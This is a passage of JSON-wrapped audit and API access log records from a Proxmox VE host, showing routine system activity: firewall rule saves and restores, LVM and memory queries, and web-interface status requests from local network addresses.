msg=audit(1781966075.541:68331): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965302492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965302.492:65021): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62461 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.639:59442): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13bad0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075600,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.600:68341): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465414,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.414:61128): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965308503,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964625.065:61834): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075538,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.538:68330): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965297.482:65016): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.632:59441): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134eb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075596,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.596:68340): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=628f879a5740 items=0 ppid=1156 pid=65627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964465406,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.406:61127): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965308503,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964620.057:61825): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59328 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075537,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.537:68329): argc=1 a0=\"date\""} {"@timestamp":1781965297482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965297.482:65015): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065626,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.626:59440): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57089 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075593,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.593:68339): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc147030 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964464503,"@rawstring":"node=pve type=EXECVE msg=audit(1781964464.503:61126): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965306678,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964620.057:61824): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59328 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075533,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.533:68327): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965297475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965297.475:65013): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.620:59439): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1180 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57088 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.587:68338): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0de420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964464478,"@rawstring":"node=pve type=EXECVE msg=audit(1781964464.478:61125): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965306678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 940"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964620.045:61822): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59327 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075526,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.526:68326): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965297475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965297.475:65012): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065615,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.615:59438): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0bd440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075580,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.580:68337): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964464461,"@rawstring":"node=pve type=EXECVE msg=audit(1781964464.461:61124): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965306678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964620.045:61821): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59327 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075518,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.518:68325): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965295620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.620:65008): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe3ef7e960 a1=60abb8b16200 a2=60abb8af4680 a3=5 items=1 ppid=62447 pid=62448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065609,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.609:59437): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57086 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075574,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.574:68336): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f47b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964464455,"@rawstring":"node=pve type=EXECVE msg=audit(1781964464.455:61121): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965305471,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964615488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.488:61807): arch=c000003e syscall=59 success=no exit=-2 a0=7fffbd195be0 a1=59fd13acc200 a2=59fd13aaa680 a3=5 items=1 ppid=59316 pid=59317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075512,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.512:68324): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965295498,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.498:64990): arch=c000003e syscall=59 success=no exit=-2 a0=7ffecbd57a00 a1=5ba7b3fd9b40 a2=5ba7b3fbc680 a3=5 items=1 ppid=62428 pid=62429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.602:59436): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57085 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.567:68335): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b0c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65623 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964459725,"@rawstring":"node=pve type=EXECVE msg=audit(1781964459.725:61118): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965304473,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964615407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.407:61789): arch=c000003e syscall=59 success=no exit=-2 a0=7fffff462950 a1=5b78453ee310 a2=5b78453e7680 a3=5 items=1 ppid=59297 pid=59298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075504,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.504:68323): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965292463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965292.463:64980): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065598,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.598:59435): arch=c000003e syscall=59 success=yes exit=0 a0=64dc21e80b20 a1=64dc21e8ca30 a2=64dc21e5a680 a3=5 items=2 ppid=57078 pid=57084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.561:68334): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8a70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65622 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964459725,"@rawstring":"node=pve type=EXECVE msg=audit(1781964459.725:61117): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965304473,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.036:61781): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075496,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.496:68322): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965292463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965292.463:64979): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065595,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.595:59434): arch=c000003e syscall=59 success=yes exit=0 a0=64dc012b8ac8 a1=7fff938640b0 a2=64dc21e5a680 a3=64dc0129c24e items=2 ppid=57078 pid=57080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075553,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.553:68333): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964459723,"@rawstring":"node=pve type=EXECVE msg=audit(1781964459.723:61116): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965304473,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.036:61780): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075294,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.294:68321): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965292453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965292.453:64977): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065594,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.594:59433): arch=c000003e syscall=59 success=yes exit=0 a0=7fff93864070 a1=64dc21e7c1c0 a2=64dc21e5a680 a3=5 items=2 ppid=57078 pid=57079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.546:68332): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964459448,"@rawstring":"node=pve type=EXECVE msg=audit(1781964459.448:61115): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965304473,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.028:61778): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075283,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.283:68318): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965292453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965292.453:64976): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.590:59431): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966075.541:68331): arch=c000003e syscall=59 success=yes exit=0 a0=62430095d0a0 a1=624300959e20 a2=62430093b680 a3=5 items=2 ppid=65613 pid=65619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964459442,"@rawstring":"node=pve type=EXECVE msg=audit(1781964459.442:61112): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965302346,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.028:61777): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966074399,"@rawstring":"node=pve type=EXECVE msg=audit(1781966074.399:68315): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965287442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965287.442:64974): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964065583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.583:59430): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 